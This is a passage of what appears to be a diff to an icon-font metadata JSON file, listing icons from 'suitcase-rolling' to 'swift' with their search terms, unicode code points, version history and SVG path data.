0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z" + } + }, + "free": [ + "solid" + ] + }, + "suitcase-rolling": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "baggage", + "luggage", + "move", + "suitcase", + "travel", + "trip" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5c1", + "label": "Suitcase Rolling", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635732, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 160H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 160H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z" + } + }, + "free": [ + "solid" + ] + }, + "sun": { + "changes": [ + "3.2", + "5.0.0", + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "brighten", + "contrast", + "day", + "lighter", + "sol", + "solar", + "star", + "weather" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f185", + "label": "Sun", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635734, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z" + }, + "regular": { + "last_modified": 1628088635035, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "superpowers": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2dd", + "label": "Superpowers", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861023, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z" + } + }, + "free": [ + "brands" + ] + }, + "superscript": { + "changes": [ + "3.1", + "5.0.0", + "5.9.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "exponential", + "font", + "format", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f12b", + "label": "superscript", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635735, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "supple": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3f9", + "label": "Supple", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861024, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z" + } + }, + "free": [ + "brands" + ] + }, + "surprise": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "shocked" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f5c2", + "label": "Hushed Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635735, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + }, + "regular": { + "last_modified": 1628088635036, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "suse": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "linux", + "operating system", + "os" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7d6", + "label": "Suse", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775920, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z" + } + }, + "free": [ + "brands" + ] + }, + "swatchbook": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "Pantone", + "color", + "design", + "hue", + "palette" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5c3", + "label": "Swatchbook", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635736, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z" + } + }, + "free": [ + "solid" + ] + }, + "swift": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f8e1", + "label": "Swift", + "svg": { + "brands": { + "last_modified": 1568817883852, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 